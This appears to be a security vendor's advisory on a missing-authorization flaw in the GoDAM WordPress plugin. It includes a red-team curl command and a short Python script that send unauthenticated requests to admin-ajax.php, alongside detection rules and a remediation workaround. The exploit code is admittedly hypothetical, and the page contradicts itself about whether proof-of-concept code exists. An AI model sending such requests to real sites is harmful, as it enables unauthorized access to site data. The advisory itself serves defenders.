CVE-2025-67584
Executive Summary
CVE-2025-67584 is a Missing Authorization vulnerability in the rtCamp GoDAM WordPress plugin, affecting versions from n/a through 1.4.6. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or manipulation. The vulnerability has a CVSS score of 5.3 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability specifically affects the WordPress plugin ecosystem, not the core WordPress software or server infrastructure (Apache/Nginx). The issue lies within the GoDAM plugin's authorization checks, which fail to properly validate user permissions for certain actions.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: None
- Availability Impact: None
The threat level is Medium due to the low complexity and no required privileges, but the impact is limited to low confidentiality loss.
Deep Dive & Mechanics
The vulnerability stems from Missing Authorization (CWE-862) in the GoDAM plugin's REST API endpoints or AJAX handlers. The plugin fails to enforce proper capability checks (e.g., current_user_can()) before executing sensitive operations. An unauthenticated attacker can send crafted HTTP requests to trigger actions that should require administrative privileges, such as:
- Accessing or modifying media library metadata
- Retrieving plugin configuration or logs
- Triggering internal plugin functions
The flaw is present in all versions up to and including 1.4.6. The exact vulnerable function is not publicly documented, but typical patterns involve missing wp_verify_nonce() or current_user_can() checks in WordPress plugin development.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common WordPress authorization patterns:
Vulnerable Code (example):
add_action('wp_ajax_nopriv_godam_get_data', 'godam_get_data');
function godam_get_data() {
// No capability check
$data = get_option('godam_settings');
wp_send_json_success($data);
}
Patched Code (example):
add_action('wp_ajax_godam_get_data', 'godam_get_data');
add_action('wp_ajax_nopriv_godam_get_data', 'godam_get_data');
function godam_get_data() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$data = get_option('godam_settings');
wp_send_json_success($data);
}
The patched version adds a capability check (current_user_can('manage_options')) and restricts the action to authenticated users only.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with GoDAM plugin <= 1.4.6
- Network access to the target
Exploitation Steps:
- Identify vulnerable endpoints by analyzing plugin source code or using fuzzing tools.
- Send a crafted HTTP request to the vulnerable endpoint without authentication:
curl -X POST http://target.com/wp-admin/admin-ajax.php \ -d "action=godam_get_data" - If successful, the response will contain sensitive data (e.g., plugin configuration, media metadata).
Automated Exploit (Python):
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
payload = {"action": "godam_get_data"}
response = requests.post(target, data=payload)
if response.status_code == 200:
print("Exploit successful:", response.text)
else:
print("Exploit failed")
Blue Team
Detection & Prevention:
- Monitor for unusual AJAX requests to
admin-ajax.phpwithnopriv_actions. - Implement Web Application Firewall (WAF) rules to block requests to unknown or suspicious AJAX actions.
- Regularly update the GoDAM plugin to the latest version.
- Use WordPress security plugins (e.g., Wordfence) to enforce capability checks.
Honeypot Setup:
- Deploy a fake WordPress instance with GoDAM plugin to capture exploitation attempts.
- Log all requests to
admin-ajax.phpand analyze for missing authorization patterns.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=godam_*parameters - Unauthenticated access to plugin-specific REST API endpoints (e.g.,
/wp-json/godam/v1/*)
- HTTP POST requests to
- File IOCs:
- Modified plugin files in
/wp-content/plugins/godam/ - Unexpected log entries in
/wp-content/debug.log
- Modified plugin files in
- Behavioral IOCs:
- Unauthorized access to media library or plugin settings
- Anomalous traffic from IPs not associated with legitimate users
Detection Engineering
YARA Rule
rule CVE_2025_67584_GoDAM_Missing_Auth {
meta:
description = "Detects exploitation attempts for CVE-2025-67584 in GoDAM WordPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-67584"
strings:
$ajax_action = "godam_" nocase
$nopriv = "nopriv_" nocase
$admin_ajax = "admin-ajax.php" nocase
condition:
$admin_ajax and $ajax_action and $nopriv
}
Sigma Rule
title: CVE-2025-67584 GoDAM Missing Authorization Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated AJAX requests targeting GoDAM plugin actions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=godam_'
sc-status: 200
condition: selection
falsepositives:
- Legitimate plugin updates or admin actions
level: medium
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-67584 GoDAM Missing Authorization Exploitation";
flow:to_server;
content:"POST";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=godam_";
http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-67584;
)
Remediation & Mitigation
Immediate Actions:
- Disable the GoDAM plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=godam_*parameters from unauthenticated users. - Monitor logs for exploitation attempts using the provided detection rules.
Long-term Fix:
- Apply the official patch once released by rtCamp.
- If patching is not possible, consider replacing the plugin with an alternative.
Workaround:
- Add custom code to the theme's
functions.phpto enforce capability checks:add_action('init', function() { if (defined('DOING_AJAX') && DOING_AJAX) { if (strpos($_REQUEST['action'], 'godam_') === 0) { if (!current_user_can('manage_options')) { wp_die('Unauthorized', 403); } } } });
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.